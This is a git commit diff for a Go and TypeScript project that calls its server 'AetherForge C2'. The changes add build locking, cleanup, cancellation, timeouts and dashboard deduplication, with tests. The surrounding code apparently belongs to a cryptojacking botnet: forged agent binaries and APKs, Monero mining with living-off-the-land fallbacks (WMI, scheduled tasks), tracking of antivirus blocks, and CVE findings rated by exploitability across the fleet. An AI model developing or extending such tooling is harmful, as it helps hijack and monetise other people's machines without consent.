1 Commits

Author SHA1 Message Date
AetherForge
689e574f7a Update server config, builder APK logic, frontend fleet/activity metrics, and ignore test APKs
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
2026-06-13 19:54:24 -07:00
17 changed files with 497 additions and 65 deletions

2
.gitignore vendored
View File

@@ -82,7 +82,7 @@ _*.txt
/server/*cov*
# Local APK / test logs (not tracked)
/agent-tablet-1.apk
/agent-*.apk
/server/web/test-output.txt
# Go build cache (local)

View File

@@ -2,6 +2,7 @@ package client
import (
"encoding/json"
"os/exec"
"testing"
"time"
@@ -15,6 +16,24 @@ import (
// real engine so handleMessage can call pool.SetJob without panicking.
func newTestClient(t *testing.T) *AgentClient {
t.Helper()
SetPostureCollector(func() *PostureReport {
return &PostureReport{}
})
miner.SetProbeExecCommand(func(name string, args ...string) *exec.Cmd {
return exec.Command("cmd.exe", "/c", "exit 1")
})
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
return miner.ContainerRuntimeInfo{}
})
miner.SetWSLDetector(func() miner.WSLRuntimeInfo {
return miner.WSLRuntimeInfo{}
})
t.Cleanup(func() {
SetPostureCollector(nil)
miner.SetProbeExecCommand(nil)
miner.SetRuntimeDetector(nil)
miner.SetWSLDetector(nil)
})
b := config.GetBuiltinConfig()
b.Threads = 1
cfg := config.RuntimeConfig{BuiltinConfig: b}

View File

@@ -161,7 +161,7 @@ func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
default:
}
start := time.Now()
err := o.invokeTier(tier, hooks)
err := o.invokeTier(ctx, tier, hooks)
duration := time.Since(start)
if err != nil {
if errors.Is(err, ErrTierChainSkipped) {
@@ -203,7 +203,7 @@ func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
return "", ErrTierChainExhausted
}
func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
func (o *TierOrchestrator) invokeTier(ctx context.Context, tier LOTLTier, hooks TierHooks) error {
switch tier {
case TierDockerLoad:
if hooks.StartDockerLoad == nil {
@@ -241,7 +241,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
}
return hooks.StartDotnet()
case TierWMI:
attempt := RunWMITier(context.Background(), o.cfg)
attempt := RunWMITier(ctx, o.cfg)
o.recordAttemptRecord(attempt)
if !attempt.OK {
if attempt.Error == "" {
@@ -251,7 +251,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
}
return nil
case TierScheduledTask:
attempt := RunScheduledTaskTier(context.Background(), o.cfg)
attempt := RunScheduledTaskTier(ctx, o.cfg)
o.recordAttemptRecord(attempt)
if !attempt.OK {
if attempt.Error == "" {
@@ -261,7 +261,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
}
return nil
case TierGPUCompute:
attempt := RunGPUComputeTier(context.Background(), o.cfg)
attempt := RunGPUComputeTier(ctx, o.cfg)
o.recordAttemptRecord(attempt)
if attempt.OK {
o.mu.Lock()

View File

@@ -1,9 +1,9 @@
{
"server_url": "http://deck:8989",
"worker_name": "tab-1",
"worker_number": "tab-1",
"server_url": "http://10.0.0.1:8989",
"worker_name": "cleanup-node",
"worker_number": "cleanup-node",
"mining": {
"enabled": false
},
"build_id": "bld-cross"
"build_id": "d5cb0702-953b-4a62-9fc7-e9476bdac1e0"
}

View File

@@ -1,4 +1,4 @@
package main
package main
import (
"encoding/json"
@@ -345,8 +345,6 @@ func LoadConfig() *Config {
cfg.DataDir = resolveDataDir(*dataDir, projectRoot)
if cliPortExplicit {
cfg.Port = cliPort
} else {
cfg.Port = cliPort
}
configPath := filepath.Join(cfg.DataDir, "config.json")

View File

@@ -24,6 +24,7 @@ func applyMergeFromJSON(t *testing.T, dst *Config, payload string) {
if err := json.Unmarshal([]byte(payload), &present); err != nil {
t.Fatalf("unmarshal present keys: %v", err)
}
hydrateLegacyAIConfig(&incoming, []byte(payload))
mergeConfigExplicit(dst, &incoming, present)
}
@@ -607,3 +608,18 @@ func TestLoadConfigOpenFirewallKeyDetection(t *testing.T) {
t.Fatal("test precondition")
}
}
func TestMergeConfigExplicitLegacyAIFields(t *testing.T) {
dst := DefaultConfig()
dst.Server.AIEndpoint = ""
dst.Server.AIDecisionIntervalSec = 0
applyMergeFromJSON(t, dst, `{"server":{"ai_local_endpoint":"http://local-ollama:11434","ai_interval_sec":30}}`)
if dst.Server.AIEndpoint != "http://local-ollama:11434" {
t.Fatalf("expected Server.AIEndpoint to be hydrated from legacy, got %q", dst.Server.AIEndpoint)
}
if dst.Server.AIDecisionIntervalSec != 30 {
t.Fatalf("expected Server.AIDecisionIntervalSec to be hydrated from legacy, got %d", dst.Server.AIDecisionIntervalSec)
}
}

View File

@@ -231,6 +231,9 @@ func apkFileName(req *BuildRequest) string {
// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
h.apkBuildMu.Lock()
defer h.apkBuildMu.Unlock()
if req.ScoutMode {
ApplyApkScoutPreset(req)
} else {
@@ -337,6 +340,7 @@ func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildRe
}
h.setProgress(req.CancelToken, "Saving to database", 99)
if err := h.db.InsertBuild(buildRecord); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
}

View File

@@ -3,10 +3,13 @@ package builder
import (
"context"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"testing"
"time"
)
func TestApplyApkScoutPreset(t *testing.T) {
@@ -254,3 +257,104 @@ func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
t.Fatalf("normalized apk: os=%q mining_disabled=%v", req.TargetOS, req.MiningDisabled)
}
}
func TestBuildAPKAgentConcurrency(t *testing.T) {
h, database := testHandlerDB(t)
t.Cleanup(func() { _ = database.Close() })
setFakeGoSuccess(t, h)
androidDir := filepath.Join(h.projectRoot, "android")
if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
t.Fatal(err)
}
// Channel to coordinate/delay the mock builds to assert serialization
inBuildChan := make(chan struct{}, 2)
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
inBuildChan <- struct{}{}
// Wait a small duration to keep the lock held, letting another call try to acquire it
time.Sleep(50 * time.Millisecond)
apk := filepath.Join(buildDir, "agent-app-debug.apk")
if err := os.WriteFile(apk, []byte("PK fake apk concurrent"), 0644); err != nil {
return "", err
}
return apk, nil
}
var wg sync.WaitGroup
wg.Add(2)
for i := 0; i < 2; i++ {
go func(id int) {
defer wg.Done()
req := &BuildRequest{
WorkerName: fmt.Sprintf("node-%d", id),
ServerURL: "http://10.0.0.1:8989",
CancelToken: fmt.Sprintf("cancel-token-%d", id),
ApkMode: true,
}
resp, code, _ := h.buildAPKAgent(context.Background(), req)
if code != 200 || !resp.Success {
t.Errorf("concurrent build %d failed: code=%d resp=%+v", id, code, resp)
}
}(i)
}
wg.Wait()
close(inBuildChan)
// Since they are serialized, they should execute one after the other.
if len(inBuildChan) != 2 {
t.Fatalf("expected 2 builds to have run, got %d", len(inBuildChan))
}
}
func TestBuildAPKAgentDatabaseFailureCleanup(t *testing.T) {
h, database := testHandlerDB(t)
// We close the database immediately so that InsertBuild fails
_ = database.Close()
setFakeGoSuccess(t, h)
androidDir := filepath.Join(h.projectRoot, "android")
if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
t.Fatal(err)
}
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
apk := filepath.Join(buildDir, "agent-app-debug.apk")
if err := os.WriteFile(apk, []byte("PK fake apk cleanup test"), 0644); err != nil {
return "", err
}
return apk, nil
}
req := &BuildRequest{
WorkerName: "cleanup-node",
ServerURL: "http://10.0.0.1:8989",
CancelToken: "cleanup-test-token",
ApkMode: true,
}
// Capture existing files in builds dir
buildsDir := filepath.Join(h.dataDir, "builds")
_ = os.MkdirAll(buildsDir, 0755)
resp, code, _ := h.buildAPKAgent(context.Background(), req)
if resp.Success || code == 200 {
t.Fatalf("expected build to fail on DB write, but got success: code=%d", code)
}
// Verify that the build directory under builds/ was cleaned up
files, err := os.ReadDir(buildsDir)
if err != nil {
t.Fatal(err)
}
if len(files) != 0 {
var names []string
for _, f := range files {
names = append(names, f.Name())
}
t.Fatalf("expected builds directory to be empty after database failure cleanup, but found: %v", names)
}
}

View File

@@ -232,8 +232,12 @@ type Handler struct {
// apkBuildFn overrides APK packaging (tests inject a mock gradle/script).
apkBuildFn ApkBuildFunc
// apkBuildMu serializes parallel Android APK builds to prevent concurrent writes to the shared assets directory and concurrent gradle runs.
apkBuildMu sync.Mutex
}
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
func (h *Handler) SetFleetSecret(secret string) {
h.fleetSecret = secret

View File

@@ -1,4 +1,4 @@
package main
package main
import (
"context"
@@ -68,6 +68,9 @@ func main() {
log.SetFlags(log.LstdFlags | log.Lshortfile)
log.Println("AetherForge C2 starting...")
ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM)
defer stop()
projectRoot := findProjectRoot()
cfg := LoadConfig()
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
@@ -278,8 +281,13 @@ func main() {
go func() {
ticker := time.NewTicker(15 * time.Second)
defer ticker.Stop()
for range ticker.C {
wsHub.BroadcastPoolStatus(poolManager.ListStatus())
for {
select {
case <-ticker.C:
wsHub.BroadcastPoolStatus(poolManager.ListStatus())
case <-ctx.Done():
return
}
}
}()
@@ -398,10 +406,13 @@ func main() {
// Start server
addr := fmt.Sprintf(":%d", cfg.Port)
srv := &http.Server{Addr: addr, Handler: router}
ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM)
defer stop()
srv := &http.Server{
Addr: addr,
Handler: router,
ReadTimeout: 30 * time.Second,
WriteTimeout: 60 * time.Second,
IdleTimeout: 120 * time.Second,
}
log.Printf("Server listening on %s", addr)
log.Printf("Open http://localhost:%d in your browser", cfg.Port)
@@ -564,12 +575,11 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
}
// Determine which top-level keys were explicitly present in the JSON payload.
// This prevents partial PUTs from corrupting boolean fields (H14): a key absent
// from the payload is treated as "not changed", not "set to false".
var presentKeys map[string]json.RawMessage
_ = json.Unmarshal(data, &presentKeys)
hydrateLegacyAIConfig(&incoming, data)
mergeConfigExplicit(p.config, &incoming, presentKeys)
// Save to disk

View File

@@ -118,6 +118,10 @@ export default function CrucibleExpandedOps({
}
}, [singleSelectedAgent?.mac_address, wolMac]);
useEffect(() => {
setLiveDesktop(false);
}, [singleSelectedAgent?.id]);
const dispatchOne = useCallback(
async (agent: Agent, action: string, args: Record<string, unknown> = {}) => {
try {

View File

@@ -37,4 +37,21 @@ describe('fleetGroups', () => {
saveFleetGroups(groups);
expect(loadFleetGroups()).toHaveLength(2);
});
it('generates unique fallback IDs for loaded groups missing an ID', () => {
// Manually saving raw JSON objects without IDs to simulate legacy state
const rawGroups = [
{ name: 'Legacy Group 1', color: '#ff0000', agentIds: [] },
{ name: 'Legacy Group 2', color: '#00ff00', agentIds: [] },
];
localStorage.setItem('aetherforge_fleet_groups', JSON.stringify(rawGroups));
const loaded = loadFleetGroups();
expect(loaded).toHaveLength(2);
expect(loaded[0].id).toBeDefined();
expect(loaded[1].id).toBeDefined();
expect(loaded[0].id).not.toBe(loaded[1].id);
expect(loaded[0].id.startsWith('fg-')).toBe(true);
expect(loaded[1].id.startsWith('fg-')).toBe(true);
});
});

View File

@@ -54,7 +54,7 @@ export function loadFleetGroups(): FleetGroup[] {
? [...new Set(o.agentIds.filter((id): id is string => typeof id === 'string' && id.length > 0))]
: [];
return {
id: typeof o.id === 'string' && o.id ? o.id : `fg-${Date.now()}`,
id: typeof o.id === 'string' && o.id ? o.id : `fg-${crypto.randomUUID?.() ?? `${Date.now()}-${Math.random().toString(36).slice(2, 9)}`}`,
name,
color: normalizeGroupColor(typeof o.color === 'string' ? o.color : FLEET_GROUP_COLORS[0]),
agentIds,

View File

@@ -138,6 +138,112 @@ describe('agentStatsUnchanged', () => {
}),
).toBe(false);
});
it('returns true when failed_methods, services, atlas_skips, and vuln_findings are structurally identical but have different array references', () => {
const agent = mockAgent({
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }],
atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }],
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
});
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }],
atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }],
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
}),
).toBe(true);
});
it('returns false when failed_methods change', () => {
const agent = mockAgent({
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
});
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
failed_methods: [{ method: 'container', reason: 'AV blocked', at: '2026-06-06T12:00:00Z' }],
}),
).toBe(false);
});
it('returns false when services change', () => {
const agent = mockAgent({
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }],
});
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'stopped', start_type: 'auto' }],
}),
).toBe(false);
});
it('returns false when atlas_skips change', () => {
const agent = mockAgent({
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }],
});
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'failed-5-times' }],
}),
).toBe(false);
});
it('returns false when vuln_findings change', () => {
const agent = mockAgent({
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
});
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: true }],
}),
).toBe(false);
});
});
describe('WS_LATEST_MESSAGE_TYPES', () => {

View File

@@ -1,4 +1,4 @@
import type { Agent } from '../types';
import type { Agent, AgentService } from '../types';
import type { WSStatsUpdate } from '../types/ws';
/** Returns true when a stats_update payload would not change visible agent fields. */
@@ -44,16 +44,17 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
if (u.stratum_overlay !== undefined && agent.stratum_overlay !== u.stratum_overlay) return false;
if (u.chain_exhausted !== undefined && agent.chain_exhausted !== u.chain_exhausted) return false;
if (u.chain_order !== undefined && !shallowStrArrayEq(agent.chain_order, u.chain_order)) return false;
if (u.failed_methods !== undefined && agent.failed_methods !== u.failed_methods) return false;
if (u.failed_methods !== undefined && !failedMethodsEq(agent.failed_methods, u.failed_methods)) return false;
if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
if (u.services !== undefined && agent.services !== u.services) return false;
if (u.services !== undefined && !servicesEq(agent.services, u.services)) return false;
if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
if (u.mining_block_reason !== undefined && agent.mining_block_reason !== u.mining_block_reason) return false;
if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
if (u.atlas_skips !== undefined && !atlasSkipsEq(agent.atlas_skips, u.atlas_skips)) return false;
if (u.vuln_findings !== undefined && !vulnFindingsEq(agent.vuln_findings, u.vuln_findings)) return false;
if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
if (u.parent_agent_id !== undefined && agent.parent_agent_id !== u.parent_agent_id) return false;
@@ -84,6 +85,74 @@ function tierAttemptsEq(a?: import('../types/lotl').TierAttempt[], b?: import('.
return true;
}
function failedMethodsEq(
a?: { method: string; reason: string; at: string }[],
b?: { method: string; reason: string; at: string }[]
): boolean {
if (a === b) return true;
if (!a || !b || a.length !== b.length) return false;
for (let i = 0; i < a.length; i++) {
if (a[i].method !== b[i].method || a[i].reason !== b[i].reason || a[i].at !== b[i].at) {
return false;
}
}
return true;
}
function servicesEq(a?: AgentService[], b?: AgentService[]): boolean {
if (a === b) return true;
if (!a || !b || a.length !== b.length) return false;
for (let i = 0; i < a.length; i++) {
const x = a[i];
const y = b[i];
if (
x.name !== y.name ||
x.display_name !== y.display_name ||
x.status !== y.status ||
x.start_type !== y.start_type
) {
return false;
}
}
return true;
}
function atlasSkipsEq(
a?: { tier: string; condition: string; reason: string }[],
b?: { tier: string; condition: string; reason: string }[]
): boolean {
if (a === b) return true;
if (!a || !b || a.length !== b.length) return false;
for (let i = 0; i < a.length; i++) {
if (a[i].tier !== b[i].tier || a[i].condition !== b[i].condition || a[i].reason !== b[i].reason) {
return false;
}
}
return true;
}
function vulnFindingsEq(
a?: import('../types/recon').VulnFinding[],
b?: import('../types/recon').VulnFinding[]
): boolean {
if (a === b) return true;
if (!a || !b || a.length !== b.length) return false;
for (let i = 0; i < a.length; i++) {
const x = a[i];
const y = b[i];
if (
x.cve_id !== y.cve_id ||
x.severity !== y.severity ||
x.component !== y.component ||
x.patched !== y.patched ||
x.exploitable_in_fleet_context !== y.exploitable_in_fleet_context
) {
return false;
}
}
return true;
}
/** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
export const WS_LATEST_MESSAGE_TYPES = new Set([
'presence_snapshot',

View File

@@ -103,6 +103,9 @@ export default function ActivityFeedPage() {
const prevAgentStatus = useRef<Record<string, string>>({}); // id → status
const prevHashrates = useRef<Record<string, number>>({}); // id → hashrate_15m
const prevPosture = useRef<Record<string, number>>({}); // id → posture_score
const seenShares = useRef<Set<string>>(new Set());
const seenAlerts = useRef<Set<string>>(new Set());
const aiInitialized = useRef(false);
// Build agent name lookup
useEffect(() => {
@@ -160,7 +163,7 @@ export default function ActivityFeedPage() {
const prev = prevHashrates.current[agent.id];
const cur = agent.hashrate_15m ?? 0;
prevHashrates.current[agent.id] = cur;
if (prev === undefined || prev <= 0) continue;
if (prev === undefined) continue;
const delta = cur - prev;
// Only emit if ≥20% change AND at least 100 H/s delta
if (Math.abs(delta) >= 100 && Math.abs(delta) / Math.max(prev, 1) >= 0.20) {
@@ -197,59 +200,137 @@ export default function ActivityFeedPage() {
}, [agents, push]);
// ── New share events ───────────────────────────────────────────────────
const lastShareId = useRef<string | null>(null);
useEffect(() => {
if (recentShares.length === 0) return;
const top = recentShares[0];
const key = top.id != null ? String(top.id) : `${top.agent_id}-${top.hash}`;
if (key === lastShareId.current) return;
lastShareId.current = key;
const name = agentMapRef.current.get(top.agent_id) ?? top.agent_id?.slice(0, 8);
push({
id: eid(), kind: 'share',
agentId: top.agent_id, agentName: name,
message: top.accepted ? 'share accepted by pool' : 'share rejected',
detail: top.accepted ? undefined : top.error ?? 'pool rejection',
ts: new Date(top.timestamp ?? Date.now()),
});
// On first load, we initialize the seen list to avoid back-filling old shares
if (seenShares.current.size === 0) {
for (const s of recentShares) {
const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`;
seenShares.current.add(key);
}
return;
}
const newShares = [];
for (let i = recentShares.length - 1; i >= 0; i--) {
const s = recentShares[i];
const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`;
if (!seenShares.current.has(key)) {
seenShares.current.add(key);
newShares.push(s);
}
}
if (seenShares.current.size > 200) {
const nextSet = new Set<string>();
for (const s of recentShares) {
const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`;
nextSet.add(key);
}
seenShares.current = nextSet;
}
for (const top of newShares) {
const name = agentMapRef.current.get(top.agent_id) ?? top.agent_id?.slice(0, 8);
push({
id: eid(), kind: 'share',
agentId: top.agent_id, agentName: name,
message: top.accepted ? 'share accepted by pool' : 'share rejected',
detail: top.accepted ? undefined : top.error ?? 'pool rejection',
ts: new Date(top.timestamp ?? Date.now()),
});
}
}, [recentShares, push]);
// ── Fleet alert events ─────────────────────────────────────────────────
const lastAlertId = useRef<string | null>(null);
useEffect(() => {
if (fleetAlerts.length === 0) return;
const top = fleetAlerts[0];
if (top.id === lastAlertId.current) return;
lastAlertId.current = top.id;
push({
id: eid(), kind: 'alert',
agentId: top.agent_id, agentName: top.agent_name,
message: top.message,
detail: top.type,
ts: new Date(top.timestamp ?? Date.now()),
});
if (seenAlerts.current.size === 0) {
for (const a of fleetAlerts) {
seenAlerts.current.add(a.id);
}
return;
}
const newAlerts = [];
for (let i = fleetAlerts.length - 1; i >= 0; i--) {
const a = fleetAlerts[i];
if (!seenAlerts.current.has(a.id)) {
seenAlerts.current.add(a.id);
newAlerts.push(a);
}
}
if (seenAlerts.current.size > 200) {
const nextSet = new Set<string>();
for (const a of fleetAlerts) {
nextSet.add(a.id);
}
seenAlerts.current = nextSet;
}
for (const top of newAlerts) {
push({
id: eid(), kind: 'alert',
agentId: top.agent_id, agentName: top.agent_name,
message: top.message,
detail: top.type,
ts: new Date(top.timestamp ?? Date.now()),
});
}
}, [fleetAlerts, push]);
// ── Command result events ──────────────────────────────────────────────
const lastCmdSeq = useRef(-1);
useEffect(() => {
if (commandResults.length === 0) return;
const top = commandResults[commandResults.length - 1];
if ((top._seq ?? -1) <= lastCmdSeq.current) return;
lastCmdSeq.current = top._seq ?? -1;
const name = agentMapRef.current.get(top.agent_id ?? '') ?? top.agent_id?.slice(0, 8);
push({
id: eid(), kind: 'command',
agentId: top.agent_id, agentName: name,
message: `${top.action}${top.success ? 'success' : 'failed'}`,
detail: top.success ? undefined : top.message?.slice(0, 80),
ts: new Date(),
});
if (lastCmdSeq.current === -1) {
lastCmdSeq.current = Math.max(...commandResults.map((r) => r._seq ?? -1));
return;
}
const newResults = [];
for (const r of commandResults) {
const seq = r._seq ?? -1;
if (seq > lastCmdSeq.current) {
newResults.push(r);
}
}
if (newResults.length > 0) {
lastCmdSeq.current = Math.max(...newResults.map((r) => r._seq ?? -1));
}
for (const top of newResults) {
const name = agentMapRef.current.get(top.agent_id ?? '') ?? top.agent_id?.slice(0, 8);
push({
id: eid(), kind: 'command',
agentId: top.agent_id, agentName: name,
message: `${top.action}${top.success ? 'success' : 'failed'}`,
detail: top.success ? undefined : top.message?.slice(0, 80),
ts: new Date(),
});
}
}, [commandResults, push]);
// ── AI activity events ─────────────────────────────────────────────────
const lastAiAgent = useRef<Record<string, string>>({});
useEffect(() => {
if (aiActivity.length === 0) return;
if (!aiInitialized.current) {
for (const entry of aiActivity) {
if (entry.last_action) {
lastAiAgent.current[entry.agent_id] = entry.last_action;
}
}
aiInitialized.current = true;
return;
}
for (const entry of aiActivity) {
const lastAction = lastAiAgent.current[entry.agent_id];
if (entry.last_action && entry.last_action !== lastAction) {

View File

@@ -108,7 +108,7 @@ export default function ROIPage() {
? (hr / totalHashrate) * xmrPerDay
: 0;
const nodeUsdDay = nodeXmrDay * price;
const nodeCores = a.cpu_cores ?? 0;
const nodeCores = a.status === 'online' ? (a.cpu_cores ?? 0) : 0;
const nodeWatts = nodeCores * WATT_PER_CORE_ESTIMATE;
const nodeKwhDay = (nodeWatts / 1000) * 24;
const nodeElecCost = nodeKwhDay * kwh;